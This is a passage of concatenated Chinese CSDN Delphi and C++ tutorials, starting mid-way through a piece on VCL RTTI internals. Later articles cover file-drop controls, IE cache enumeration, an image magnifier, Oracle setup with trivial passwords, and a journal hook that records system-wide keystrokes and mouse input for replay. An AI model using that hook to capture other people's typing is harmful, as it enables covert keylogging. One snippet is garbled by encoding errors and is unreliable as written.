        ShortString* r = *(ShortString**)((char*)cls + vmtClassName);
        return *r;
}
我们不妨测试一下。
#include
#include
#include
using namespace std;
... 插入FObject相应的代码...
void main()
{
        auto_ptr list(new TList);
        FObject* p = (FObject*)list.get();
        cout << AnsiString(p->ClassName()).c_str() << endl;
        cout << AnsiString(list->ClassName()).c_str() << endl;
}
输出结果在我们意料之内，都是“TList”。

对于函数ClassNameIs，我们就可以轻而易举地完成了。

bool FObject::ClassNameIs(TClass cls, const AnsiString string)
{
        return string==ClassName(cls);
}
有朋友可能奇怪，你怎么知道TObject::ClassName是这样的呢？

三种办法：

  • 猜，用经验推测；
  • 看Borland提供的原始码；
  • 看编译以后的汇编码。

在Borland提供的原始码中，我们可以看到TObject::ClassName的实现如下：

class function TObject.ClassName: ShortString;
asm
        { ->	EAX VMT							}
        {		EDX Pointer to result string	}
        PUSH    ESI
        PUSH    EDI
        MOV     EDI,EDX
        MOV     ESI,[EAX].vmtClassName
        XOR     ECX,ECX
        MOV     CL,[ESI]
        INC     ECX
        REP     MOVSB
        POP     EDI
        POP     ESI
end;
熟悉汇编的朋友就可以由此写出相应的C/C++代码来。对于不会的朋友，根据我们的讲解，相信也可以轻而易举地完成吧。

希望您在看这段的时候，不妨先用第1种办法，然后结合2、3看看，一定收获不小。

势如破竹

接下来就太简单了，我们不再举例，把相应的成员函数补充完整即可。您不妨先自己试着写写，探索一下，再与汇编代码和文中的代码作比较，一定乐趣无穷。

TObject::ClassInfo是做什么的？问我啊？我也不知道。VCL的帮助里说，用ClassInfo可以访问包含对象类型、祖先类和所有published属性信息的RTTI表。这个表只是内部使用，TObject提供了其它方法来访问RTTI信息。我们先写出它的实现。

图6　TObject::ClassInfo的运作方式

void * FObject::ClassInfo(TClass cls)
{
        return *(void**)((char*)cls + vmtTypeInfo);
}
Borland的说法可信吗？这个函数返回值的类型是void *，明摆着不愿意透露更多的信息。您不妨按上面ClassName的方法测试一下，对于TList，ClassInfo输出的结果居然是0！也就是一个空指针！什么东东？别急，后面我们会掀开这个void *的面纱，现在姑且卖个关子。

VCL框架中只存在单继承，这是由Object Pascal语言的特性决定的。这样，每一个类只有唯一一个父类，函数TObject::ClassParent就能帮您把父类找出来。

TClass FObject::ClassParent(TClass cls)
{
        TClass* r = *(TClass**)((char*)cls + vmtParent);
        return (r)? (*r) : 0;
}
由此，我们也能很轻松地模拟TObject::InheritsForm的实现。
bool FObject::InheritsFrom(TClass cls, TClass aClass)
{
        while(aClass)
        {
                if(aClass==cls)return true;
                cls = ClassParent(cls);
        }
        return false;
}
要知道一个对象所占的字节数，TObject::InstanceSize就可以达到目的。
long FObject::InstanceSize(TClass cls)
{
        return *(long*)((char*)cls + vmtInstanceSize);
}
有朋友可能说，C++不是有sizeof操作符吗？为什么不用呢？在VCL中，sizeof有两个缺陷。首先sizeof是完全静态的，也就是说，如果您写sizeof(...)，编译以后，这会被替换为一个常数，没有任何的求值过程，因此不能动态求值；其次，VCL类必须与指针或引用的形式存在。所以对于
TObject *a;
...
sizeof(*a)这样的表达式是错误的。而且即使TObject不是VCL类，使用sizeof(*a)还是相当于sizeof(TObject)，没有实际价值。
结束语

现在我们已经打开了通向VCL类秘密的大门。回头一看，VMT跟VFT有什么区别与联系呢？其实VMT可以算是VFT具体化的一个结果，也就是说，VMT是在VFT基础上发展出来的一种具有“规范”性质的结构，所有的VCL类都遵循这个“规范”。这很像COM与C++纯虚基类的关系。

通过VMT，VCL放置了一些重要的信息，由此来实现RTTI。所以“高级”RTTI功能其实是相当低级和简单的一项技术。就其实现方式而言，大致有三种。MFC用宏（macro）模拟算是一类，完全符合C++标准，不需要对语言进行扩充，也不依赖于特定的编译器，不过给人臃肿的感觉；VCL则是完全由编译器实现，同时扩充了C++的语言特性，必须在Borland的编译器上编译，但是很简洁；另外建构KDE基础的跨平台框架Qt[4]，则采用了折中的方式，扩充了C++的关键字，书写很简洁，在编译之前必须用Qt提供的程序MOC进行预处理，把扩充部分的代码改写为符合C++标准的代码，然后才可以在任何符合C++标准的编译器上编译。

代表作 | 实现方式 | 不依赖特定编译器 | 简洁程度 | 编译次数
MFC | 宏插入 | 是 | 一般 | 1
VCL | 编译器生成 | 否 | 好 | 1
Qt | 预编译程序生成 | 是 | 较好 | 2(包括MOC)

注：如果长期仅在Windows平台下进行开发的朋友，可能没有听说过Qt的大名。事实上在Linux世界里，这可是个响当当的名头。Qt是一套完善的C++框架，横跨Unix/Linux、Windows、Mac OS诸多平台，内部机制相当有趣。Borland最新的Kylix和Delphi6所采用的跨平台框架CLX（分为BaseCLX、VisualCLX、DataCLX、NetCLX四个部分，BaseCLX与VCL顶部几个类相同），其可视化部分VisualCLX就建构在Qt上，这多少让我感到失望和不满。Qt本身就跨平台，VisualCLX建构在Qt上，自然也跨平台；但是CLX是用Object Pascal包装了一个C++框架，我不敢想象，C++ Builder6中的CLX是否又用C++再来包装这个包装了C++框架的Object Pascal框架呢？如果真是如此，其效率和调试难度……

对于“高级”RTTI的实现形式，VCL用了TMetaClass（其中TClass就是TMetaClass*）来配合存储类的信息，也就是所谓“类的类”，这非常普遍。MFC中的CObject与CRuntimeClass，JDK中的java.lang.Object和java.lang.Class都是如此。比如对于一个TObject *p，如何获取其父类名呢？我们必须借助TMetaClass：可以先用p->ClassType返回父类的信息（是一个TMetaClass*类型），再以此为参数传入TObject::ClassName就可以获得结果，也就是TObject::ClassName(p->ClassType())即可。

同时我们也应该拆穿所谓“拥有更高级RTTI的语言本身也更高级”的谎言。至少从我那少得可怜的经验来看，对于一套框架，除非需要和IDE配合，否则在绝大部分情况下，RTTI是完全没有必要的，甚至是有害的[5]。希望使用和设计框架的朋友三思。

致谢

非常感谢孟岩和孙春阳对本文所提出的宝贵意见。

参考

1. Bjarne Stroustrup. The C++ Programming Language, 3e. Addison-Wesley, Reading, MA. 1997.

2. Stanley Lippman. Inside the C++ Object Model. Addison-Wesley, Reading, MA. 1996
侯捷．《深度探索C++物件模型》．碁峰资讯股份有限公司．1998．
侯捷．《深度探索C++对象模型》．华中科技大学出版社．2001．

3. 侯捷．《深入浅出MFC》，2e．松岗电脑图资料股份有限公司／华中科技大学出版社．1997／2001．

4. 虫虫．《Qt最新消息》．C++ View．2001，7．

5. Robert C.Martin. “The Open-Closed Principle”. C++ Report. 1996, 1.
plpliuly，虫虫．《开放封闭原则OCP》．C++ View．2001，8．


CSDN_文档中心_-添加 FileDrop 属性到 可视化控件（visual control） 中-

作者：Damir Kojevod

添加FileDrop属性到可视化控件[visual control] 中

1.首先从可视化控件（visual control ）中继承一个新的控件。
2.增加接受文件拖拽消息的属性。
3.增加消息被处触发时要响应处理的事件。
4.使用测试这个新创建的控件。

详细说明：
1。在delphi中 Component|Newcomponent 选择一个祖先。这里使用TEdit,给这个控件取名 TFileDropEdit,可设置其他参数，并选择确定或安装(这种情况表示自动安装控件到 控件模板)。
2。增加接收文件拖拽的属性。
在private部分 增加一个消息过程，声明如下：
procedure WMDROPFILES(var Message: TWMDROPFILES); message WM_DROPFILES;
这个消息过程完成从Windows 接收WM_DROPFILES消息并且能进行'初加工'。这个过程完成一系列通常的处理,接收者从消息中提取消息参数等。同时我们还允许用户定义她自己的动作（把提取的信息交给用户处理）,所以我们必须定义一个事件指针来完成这个功能。如果用户定义了处理过程，消息处理过程会调用用户定义的过程。另外，控件必须向windows声明自己是能接收文件拖拽的控件。是否注册要调用windows函数 DragAcceptFiles.参数中需要控件的句柄，所以不能在控件的构造器中完成注册，这里在public部分增加属性。这里用AcceptFiles属性来注册和注销文件拖拽功能。

3。定义消息触发事件（提供事件指针）以便用户定义处理过程事件。
先定义一个过程事件：参数为TStringList。如下：
TFileDropEvent = procedure(File: TStringList) of object;
再在published 部分定义属性 如下
property OnFileDrop: TFileDropEvent Read FFileDrop write FFileDrop;
同时在private部分定义过程指针变量：
FFileDrop: TFileDropEvent;

下面的源代码是 TDropEdit控制的全部代码。注意：开始控件是不接受文件拖拽的，如果用户设置AcceptFile 属性为真则可接受文件拖拽。

unit FileDropEdit;

interface

uses
Windows,
Messages,
SysUtils,
Classes,
Graphics,
Controls,
Forms,
Dialogs,
StdCtrls,
ShellApi;

type
TFileDropEvent = procedure(files: tstringlist) of object;

TFileDropEdit = class(TEdit)
private
{ Private declarations }
FFileDrop: TFileDropEvent;
FAcceptFiles: Boolean;
procedure WMDROPFILES(var Message: TWMDROPFILES); message WM_DROPFILES;
procedure SetAcceptFiles(const Value: Boolean);
protected
{ Protected declarations }
public
{ Public declarations }
constructor Create(AOwner: TComponent); override;

property AcceptFiles: Boolean read FAcceptFiles write SetAcceptFiles;
published
{ Published declarations }
property OnFileDrop: TFileDropEvent read FFileDrop write FFileDrop;
end;

procedure Register;

implementation

procedure Register;
begin
RegisterComponents('Samples', [TFileDropEdit]);
end;

constructor TFileDropEdit.Create(AOwner: TComponent);
begin
inherited Create(AOwner: TComponent);
FFileDrop := nil;
FAcceptFiles := False;
end;

procedure TFileDropEdit.WMDROPFILES(var Message: TWMDROPFILES);
var
NumFiles: integer;
buffer: array[0..255] of char;
i: integer;
l: TStringList;
begin
if Assigned(FFiledrop) then
begin
l := TStringList.Create;
NumFiles := DragQueryFile(Message.Drop, $FFFFFFFF, nil, 0); {thanks to Mike Heydon for D5 adjustment of parameters}
for i := 0 to NumFiles - 1 do {Accept the dropped file}
begin
DragQueryFile(Message.Drop, i, buffer, sizeof(buffer));
l.append(StrPas(buffer))
end;
FFileDrop(l);
l.free
end
end;

procedure TFileDropEdit.SetAcceptFiles(const Value: Boolean);
begin
if FAcceptFiles <> Value then
begin
FAcceptFiles := Value;
DragAcceptFiles(Handle, Value);
end
end;

end.


CSDN_文档中心_通过API访问IE Cache

通过API访问IE Cache
我们知道在使用IE浏览网页时，IE会把远端主机的内容保存在本机以供以后脱机访问。下面将介绍的是如何通过Delphi编程实现遍历Cache中所有保存的内容。
如果大家对Windows API编程比较熟悉的话，应该知道对于遍历访问一般有两种办法，一是定义一个回调函数，然后将回调函数地址传递给遍历函数，当遍历到一个内容时就会调用回调函数一次，例如EnumWindows函数。另外一种是先利用一个API函数建立一个局柄，然后以这个局柄作为遍历函数的参数，我们可以通过反复调用遍历函数知道返回False，例如FindFirstFile以及FindNextFile函数。对IE Cache的遍历使用的是第二种方法，即首先调用FindFirstUrlCacheEntryEx，如果成功返回一个局柄，然后通过重复调用FindNextUrlCacheEntryEx知道函数返回False，这样就可以实现对Cache中所有文件的遍历。
下面来看程序，建立一个新工程，然后在Form1中分别加入两个TButton组件以及两个TListBox组件，Form1的完整代码如下：

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Wininet, StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
ListBox1: TListBox;
ListBox2: TListBox;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
private
function FindNextEntrys(Handle:Integer):Boolean;
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.DFM}
function TForm1.FindNextEntrys(Handle:Integer):Boolean;
var
T: PInternetCacheEntryInfo;
D: DWORD;
begin
D := 0;
FindnextUrlCacheEntryEx(Handle, nil, @D, nil, nil, nil);
GetMem(T, D);
try
if FindNextUrlCacheEntryEx(Handle, T, @D, nil, nil, nil) then begin
ListBox1.Items.Add(T.lpszSourceUrlName);
ListBox2.Items.Add(T.lpszLocalFileName);
Result := True;
end
else
Result := False;
finally
FreeMem(T, D)
end;
end;

procedure TForm1.Button1Click(Sender: TObject);
var
H:Integer;
T: PInternetCacheEntryInfo;
D: DWORD;
begin
D := 0;
FindFirstUrlCacheEntryEx(nil, 0, NORMAL_CACHE_ENTRY, 0,nil,@D, nil, nil, nil);
GetMem(T, D);
try
H := FindFirstUrlCacheEntryEx(nil,0, NORMAL_CACHE_ENTRY, 0, T, @D, nil, nil, nil);
if (H = 0) then
else begin
repeat
until not FindNextEntrys(H);
FindCloseUrlCache(H);
end
finally
FreeMem(T, D)
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
var
URL:String;
begin
If ListBox1.ItemIndex >=0 then begin
URL:=ListBox1.Items.Strings[ListBox1.ItemIndex];
Self.Caption := URL;
if DeleteUrlCacheEntry(PChar(URL))then
ListBox1.Items.Delete(ListBox1.ItemIndex);
end;
end;

end.

运行程序，点击Button1，就可以分别在ListBox1中列出所有在Cache中的文件所对应的URL以及在ListBox2中列出相应的文件名。在ListBox1中选择一个列表，然后点击 Button2 就可以将该项从Cache中删除。
下面看程序，FindFirstUrlCacheEntryEx函数在Delphi中定义如下：

function FindFirstUrlCacheEntryExA(lpszUrlSearchPattern: PAnsiChar;
dwFlags: DWORD;
dwFilter: DWORD;
GroupId: GROUPID;
lpFirstCacheEntryInfo: PInternetCacheEntryInfo;
lpdwFirstCacheEntryInfoBufferSize: LPDWORD;
lpGroupAttributes: Pointer; { 必须为 nil }
pcbGroupAttributes: LPDWORD; {必须为 nil }
lpReserved: Pointer { 必须为 nil }
): THandle; stdcall;

其中，dwFilter定义查找类型，在这里定义为NORMAL_CACHE_ENTRY以查找普通的Cache文件，GroupId定义查找分组，在这里定义为0以查找所有分组。lpFirstCacheEntryInfo定义Cache文件数据结构。该结构在Wininet.pas中有定义，这里就不列出了，其中成员lpszSourceUrlName以及lpszLocalFileName分别定义文件URL以及本地文件名。
在上面的程序中我们可以看到，不论调用FindFirstUrlCacheEntryEx还是FindNextUrlCacheEntryEx，都需要调用两次，第一次获得一个指向PInternetCacheEntryInfo结构的指针，将这个指针通过GetMem函数赋予一个PInternetCacheEntryInfo结构数据。然后第二次调用才可以获得结果。遍历访问完毕后需要调用FindCloseUrlCache方法关闭打开的局柄。
上面介绍的是Cache操作中的遍历Cache文件以及删除Cache文件的操作。Cache操作函数还包括：分组函数，可以将特定的文件分在一个组内并执行组操作，例如：CreateUrlCacheGroup、SetUrlCacheEntryGroup；数据流(Stream)操作函数，可以将Cache中的内容输入到数据流中。等等。大家可以参考MSDN中的帮助，或者到我的主页 http://www.applevb.com 同我讨论以及获得源程序。
以上程序在Win2000、Delphi 5下编写，Win2000、Win98下运行通过。


CSDN_文档中心_通过Delphi 实现图象的缩放

给你一个图像放大的文章：
本文介绍实现图象局部、平滑和无闪烁放大的算法原理，以及在Delphi中实现的技术。读完本文，您一定会为Delphi能用如此少的代码实现如此强大的功能惊叹不已，这是许多其它开发工具所无法比拟的。

算法原理

在Delphi中，可利用类Tcanvas的CopyRect方法实现图象的放大和缩小。其功能是将源画布上的一个指定矩形区域（简称源矩形）内的象素，拷贝到目的画布上的一个指定矩形区域（简称目的矩形）中。亦可称之为象素块复制，如图1所示。

由CopyMode属性确定拷贝的模式。在直接拷贝模式（cmSrcCopy）下，当源矩形与目的矩形相等时，图象不变；若源矩形大于目的矩形，图象则缩小；而当源矩形小于目的矩形时，图象便被放大（在目的矩形中扩展）。源矩形与目的矩形大小之比，决定图象的缩放倍数。CopyRect方法声明如下：

Procedure CopyRect(const Dest: TRect; Canvas: TCanvas; const Source: Trect);

其中参数，Dest为目的矩形，Canvas是源画布，Source为源矩形。

实现步骤

新建应用程序主目录C:\Magnifier及其子目录Images，将事先制作好的位图图象Picture.bmp存入Images目录。本例中，Picture.bmp的大小为260*310象素。

启动Delphi IDE，新建项目Magnifier.dpr，主窗体单元命名为Main.pas，存入C:\Magnifier目录。在主窗体上放置一个TPanel组件，并在其中加入两个TImage组件。两个TImage组件分别命名为ForeImage和BackImage，前者重叠于后者之上，并且都装入Picture.bmp位图。

主窗体和各组件的主要属性按表1设置：

表1 主窗体和各组件属性设置

组 件 属 性 设 置
Form1 BorderIcons.biMaximize False
BorderStyle bsNone
Color clRed
Height 364
KeyPreview True
Name MainForm
Position poScreenCenter
Width 294
WindowState wsNormal
Panel1 Align alNone
BevelInner bvLowered
BevelOuter bvRaised
BevelWidth 2
BorderStyle bsNone
BorderWidth 2
Height 322
Name FramePanel
Visible Ture
Width 272
Image1 Align alNone
AutoSize True
Center True
Height 310
Name BackImage
Picture Picture.bmp
Stretch False
Visible False
Width 260
Image2 Align alNone
AutoSize True
Center True
Height 310
Name ForeImage
Picture Picture.bmp
Stretch False
Visible True
Width 260

上述各组件的许多属性，读者亦可根据个人的爱好设定。在主单元Main.pas的implementation段声明常量和变量：

const

sSide=30;
dSide=45;

var
msHide: Boolean;
OldX, OldY, NewX, NewY: Integer;
DestRect, SourceRect : TRect;

其中，常量sSide和dSide用以控制“放大镜”的大小和放大倍数；变量msHide控制光标（鼠标）的隐藏和打开；其它变量用以确定放大部位。

建立主窗体MainForm的OnCreate事件，加入下列语句，以初始化变量及设置复制模式：
msHide:=True;
Canvas.CopyMode:=cmSrcCopy;


CSDN_文档中心_通过Delphi访问Oracle数据库

通过Delphi访问Oracle数据库

徐长友

摘要：Delphi在数据库程序设计这一领域有着极其重要的作用。这当然不是因为它的友好开发界面，而是它的强大数据库引擎(Borland Database Engine，简称为BDE) 。本文将通过具体的实例详细介绍如何通过Delphi访问Oracle数据库,及进行数据库的程序设计。

主要内容包括：

  • 配置BDE
  • 认识Oracle ODBC数据源
  • 添加Oracle ODBC数据源
  • 维护Oracle ODBC数据源
  • Delphi开发管理Oracle数据库的实例

一.开始前的准备

  1. 安装 Oracle 8i (8.0.5)　使用典型安装，安装目录如 F:\Oracle；
  2. 安装 Delphi 6 企业版，把Delphi 6光盘放入光驱，使用典型安装，安装目录为F:\Program Files\Borland\Delphi6；
  3. 开始->程序->Oracle for Windows NT->Oracle Net8 Easy Config配置Service Name，如新增一个名为YOUSOFT的Service，具本请参考Oracle书籍。
  4. 建立Oracle数据表，Oracle用户：
    打开SQL*Plus,以system/manager用户登录

    创建新的用户：如yousoft/yousoft，赋予resource，connect权限。建个student表
    SQL> grant connect,resource to yousoft identified by yousoft;

    SQL> conn yousoft/yousoft
    已连接。
    SQL> create table student(ID number,name char(20),Englist number(5,2),physics number(5,2));

    表已创建。

    SQL> insert into student values(1,'徐长友',80,38);

    已创建 1 行。

    SQL> insert into student values(2,'李四',40,58);

    已创建 1 行。

    SQL> insert into student values(3,'张三',89,98);

    已创建 1 行。

    SQL> insert into student values(4,'王五',68,78);

    已创建 1 行。

    SQL> insert into student values(5,'小孙',88,98);

    已创建 1 行。

    SQL> insert into student values(6,'老马',59,89);

    已创建 1 行。

    SQL> commit;

    提交完成。

    SQL> select * from student;

    ID NAME ENGLIST PHYSICS
    --------- -------------------- --------- ---------
    1 徐长友 80 38
    2 李四 40 58
    3 张三 89 98
    4 王五 68 78
    5 小孙 88 98
    6 老马 59 89

    已选择6行。

二.Delphi使用BDE访问Oracle数据库

  1. 配置BDE
    开始->程序->Borland Delphi 6->BDE Administrator

  2. 配置Drivers，修改上图画红圈的地方，分别是

            DLL32：　　　　　　SQLORA8.DLL
            VENDOR INIT：　　　OCI.DLL
            SQLPASSTHRU MODE： SHARED NOAUTOCOMMIT
    修改完，点击工具栏上的apply或按CTRL+A，完成配置后关闭BDE Administrator，接下配置Database Aliases（数据库访问别名），重新打开BDE Administrator新建一个别名，如设为useoracle，接下图：

    SERVER NAME下拉选择YOUSOFT.WORLD，点击工具栏上的apply或按CTRL+A，然后双击useoracle，进入连接

    输入用户名、口令(如：上面建的yousoft，口令)，按“OK”连接。出现下面表明连接成功！

三.添加与维护Oracle ODBC 数据源

ODBC中文即开放式数据库链接(Open DataBase Connectivity)，实际上是一种数据引擎。通过它所提供的函数，可以访问数据库中的数据。它的优点在于能处理多种类型的数据，如：dBase,FoxPro,Paradox及Oracle等。不同的数据库都有自己的ODBC驱动程序。我们从控制面版中打开ODBC数据源管理器

切换到Drives(驱动程序)选项卡，即可看到已安装的所以ODBC驱动程序，如上图所示。

1.添加ODBC数据源

切换到System DSN选项卡，在此添加一下Oracle数据源，如下图所示

单击Add按钮，出现如下图所示的Create New Data Source对话框。

在列表中选择Microsoft ODBC for Oracle选项，单击完成，为标识数据源，在Data Source Name文本框中输入useoralce2,User Name和Server中分别输入yousoft和yousoft.world，单击OK就可在System DSN选项卡中看到添加的数据源名称。

2.维护Oracle ODBC数据源

一旦建立好ODBC数据源后，还可以通过ODBC数据源管理器方便地对其进行修改,删除。只需选中数据源名称，单击Configure按钮即可修改该项数据源所有的设置。如查要删除选定的数据源，则只需单击Remove按钮。

四.利用Delphi开发管理Oracle数据库的实例

开始->程序->Borland Delphi 6->Delphi 6启动Delphi

然后 File->New->Application新建一应用程序

加入一个DataBase控件，一个Table控件，一个DataSource控件和一个DBGrid控件

各控件属性设置如下：

Name:Oracle_DataBase

AliasName选择useoracle

DatabaseName设置为oradb

LoginPromp设置为False

Params中输入：

USER NAME ：yousoft PASSWORD:yousoft

Connected设置True

一切没问题的话就能正常连接到数据库

Name:Table1

DatabaseName:选择oradb

TableName选择STUDENT

Active设置为Active

DataSet:设置为Table1
将DataSource设置为DataSource1即可

按F9，运行此程序，程序运行如下图：

以上是使用数据库访问别名打开Oracle数据库，再试一下用ODBC打开如何。

很简单，只要修改database控件的AliasName选择我们前面建的Oracle ODBC数据源useoracle2，其它控件属性同上不变。

按F9，运行此程序，程序运行如下图：

对比上面，有什么不同？两个是一样的。

总结：通过上面的学习，你已学到通过Delphi访问和管理Oracle数据库了，但是，这只能算是管中窥豹而已，更多还等待着你去学习。如果上面还有什么不明白的地方请与我联系(我的邮箱：yousoft@chinaren.com 主页：http://yousoft.home.chinaren.com )利用Delphi和Oracle,完全可以创建出功能强大的工程软件。感兴趣的朋友可以参考Delphi数据库编程及Oracle方面的书！


CSDN_文档中心_通过Delphi建立键盘鼠标动作纪录与回放

通过Delphi建立键盘鼠标动作纪录与回放

www.applevb.com
很多的教学软件或系统监视软件可以自动记录回放用户的输入文字或点击按钮等操作操作，这个功能的实现是使用
了Windows的Hook函数。
Windows提供API函数SetwindowsHookEx来建立一个Hook，通过这个函数可以将一个程序添加到Hook链中监视Windows
消息，函数语法为：
SetWindowsHookEx(idHook: Integer; lpfn: TFNHookProc; hmod: HINST; dwThreadId: DWORD)
其中参数idHook指定建立的监视函数类型。通过Windows MSDN帮助可以看到，SetwindowsHookEx函数提供15种不同
的消息监视类型，在这里我们将使用WH_JOURNALRECORD和WH_JOURNALPLAYBACK来监视键盘和鼠标操作。参数lpfn指定消
息函数，在相应的消息产生后，系统会调用该函数并将消息值传递给该函数供处理。函数的一般形式为：
Hookproc (code: Integer; wparam: WPARAM; lparam: LPARAM): LRESULT stdcall;
其中code为系统指示标记，wParam和lParam为附加参数，根据不同的消息监视类型而不同。只要在程序中建立这样
一个函数再通过SetwindowsHookEx函数将它加入到消息监视链中就可以处理消息了。
在不需要监视系统消息时需要调用提供UnHookWindowsHookEx来解除对消息的监视。
WH_JOURNALRECORD和WH_JOURNALPLAYBACK类型是两种相反的Hook类型，前者获得鼠标、键盘动作消息，后者回放鼠
标键盘消息。所以在程序中我们需要建立两个消息函数，一个用于纪录鼠标键盘操作并保存到一个数组中，另一个用于
将保存的操作返给系统回放。
下面来建立程序，在Delphi中建立一个工程，在Form1上添加3个按钮用于程序操作。另外再添加一个按钮控件和一
个Edit控件用于验证操作。
下面是Form1的全部代码

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
Button2: TButton;
Button3: TButton;
Edit1: TEdit;
Button4: TButton;
procedure FormCreate(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

EventArr:array[0..1000]of EVENTMSG;
EventLog:Integer;
PlayLog:Integer;
hHook,hPlay:Integer;
recOK:Integer;
canPlay:Integer;
bDelay:Bool;
implementation

{$R *.DFM}
Function PlayProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
begin
canPlay:=1;
Result:=0;

if iCode < 0 then //必须将消息传递到消息链的下一个接受单元
Result := CallNextHookEx(hPlay,iCode,wParam,lParam)
else if iCode = HC_SYSMODALON then
canPlay:=0
else if iCode = HC_SYSMODALOFF then
canPlay:=1
else if ((canPlay =1 )and(iCode=HC_GETNEXT)) then begin
if bDelay then begin
bDelay:=False;
Result:=50;
end;
pEventMSG(lParam)^:=EventArr[PlayLog];
end
else if ((canPlay = 1)and(iCode = HC_SKIP))then begin
bDelay := True;
PlayLog:=PlayLog+1;
end;
if PlayLog>=EventLog then begin
UNHookWindowsHookEx(hPlay);
end;
end;

function HookProc(iCode:Integer;wParam:wParam;lParam:lParam):LRESULT;stdcall;
begin
recOK:=1;
Result:=0;

if iCode < 0 then
Result := CallNextHookEx(hHook,iCode,wParam,lParam)
else if iCode = HC_SYSMODALON then
recOK:=0
else if iCode = HC_SYSMODALOFF then
recOK:=1
else if ((recOK>0) and (iCode = HC_ACTION)) then begin
EventArr[EventLog]:=pEventMSG(lParam)^;
EventLog:=EventLog+1;

if EventLog>=1000 then begin
UnHookWindowsHookEx(hHook);
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Button1.Caption:='纪录';
Button2.Caption:='停止';
Button3.Caption:='回放';
Button4.Caption:='范例';
Button2.Enabled:=False;
Button3.Enabled:=False;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
EventLog:=0;
//建立键盘鼠标操作消息纪录链
hHook:=SetwindowsHookEx(WH_JOURNALRECORD,HookProc,HInstance,0);
Button2.Enabled:=True;
Button1.Enabled:=False;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
UnHookWindowsHookEx(hHook);
hHook:=0;

Button1.Enabled:=True;
Button2.Enabled:=False;
Button3.Enabled:=True;
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
PlayLog:=0;
//建立键盘鼠标操作消息纪录回放链
hPlay:=SetwindowsHookEx(WH_JOURNALPLAYBACK,PlayProc,
HInstance,0);

Button3.Enabled:=False;
end;

end.

代码添加完毕后，运行程序，点击“纪录”按钮开始纪录操作，这时你可以在文本控件中输入一些文字或者点击
“范例”按钮，然后点击“停止”按钮停止纪录，再点击“回放”按钮就可以讲先前所做的操作回放。
在上面的程序中，HookProc是纪录操作的消息函数，每当有鼠标键盘消息发生时，系统都会调用该函数，消息信
息就保存在地址lParam中，我们可以讲消息保存在一个数组中。PlayProc是消息回放函数，当系统可以执行消息回放
时调用该函数，程序就将先前纪录的消息值返回到lParam指向的区域中，系统就会执行该消息，从而实现了消息回放。


CSDN_文档中心_通过调用API确定MEMO控件中的当前行和列

通过调用API确定MEMO控件中的当前行和列

你可以调用WINDOWSAPI中的EM—LINEFROMCHAR和EM—LINEINDEX函数来确定MEM
O控件中的当前行和列，具体调用的过程见下面的过程。
var
LineNum：longint；
CharsBeforeLine：longint；
begin
LineNumΚSendMessage（Memo1．Handle，EM—LINEFROMCHAR，Memo1．SelSta
rt，0）；
CharsBeforeLine：=SendMessage（Memo1．Handle，EM—LINEINDEX，LineNum
，0）；
Label1．Caption：=′Line′＋IntToStr（LineNum＋1）
Label2．Caption：=′Position′＋IntToStr（（Memo1．SelStart－CharsBe
foreLine）＋1）；
end；


CSDN_文档中心_通用Delphi数据库输入控件DBPanel的实现

李晓平/河北固安华北石油职工大学

---- 无论是开发什么样的程序，数据输入是不可缺少的。快速地生成一个美观的输入界面无疑会大大提高程序开发的效率。系统原有的控件，往往不尽人意。在delphi中，如果针对某字段，可选的控件有DBLabel, DBEdit等；如果针对全表的输入，有DBGrid。使用Dbedit等控件时，用户必须全面安排各字段的位置，虽然能够达到美观的效果，但是，如果字段数多，无疑是很麻烦的。如果采用DBGrid，无论多少个字段，只用一个控件就够了，简单倒是简单，但是各字段是一字排列的，使用起来有点不方便。对于一般的用户来说，采用表格形式的录入，既方便，又美观。这就是本文所要解决的问题。

---- 技术关键

---- 本控件的主要功能是实现对数据库字段的编辑。按照一般的规律，控件中应包含TdataLink对象，还应该实现与TdataLink相关得一系列方法；但是，那样会耗费大量的代码。代码量越大，系统就越复杂，出错的可能性就越大。本控件的开发思路是以最少的代码实现最多的功能。所以，对数据字段的编辑直接使用TDBComboBox控件。

---- 为了实现通用性，在控件内部维护了一个字段编辑控件数组和字段标题数组。如下：

Editors: array of TDBComboBox;
- >具体进行编辑所用的数据控件数组，动态生成
Labels: array of TLabel;
- >各字段的标题，动态生成

---- 采用TDBComboBox优点是它不仅能具有一般的编辑功能，还能为各字段添加相应的提示信息。代码如下：
{ 为第I字段增加提示信息的方法}
procedure TDBPanel.AddHits
(ItemIndex: Integer; Hits: array of string);
var
m,n,i: Integer;
begin
n := Length(Editors);
m := Length(Hits);
if ItemIndex< n then begin
for i:=0 to m-1 do Editors[ItemIndex].Items.Add(Hits[i]);
end;
end;

---- 具体的应用是千差万别的，所以，控件还需要给程序员留有足够的事件处理接口，以实现具体应用时的特殊功能。这就需要在控件中定义一定的事件处理方法供用户实现。这里提供的是一个OnOkClick事件，即当所有字段编辑完成后所执行的处理。代码如下：

OkButton: TButton;
- >最后增加的确定按钮，用于实现提交动作。
property OnOkClick: TNotifyEvent read FClick write FClick;

---- 通过实现OnOKClick方法，用户可以完成提交、数据合理性检验等各种处理工作。另外一个需要特殊处理的是控制在各个字段间的转换。缺省的情况是用鼠标点击。但是，用户的习惯往往是用键盘中的"上、下、左、右"四个箭头键。要实现这一功能需定义以下两个方法：

procedure AKeyPress(Sender: TObject; var Key: Char);
procedure AKeyDown(Sender: TObject;
var Key: Word; Shift: TShiftState);

---- 将以上两个方法赋值给动态生成的Editors，从而实现对箭头键的响应。
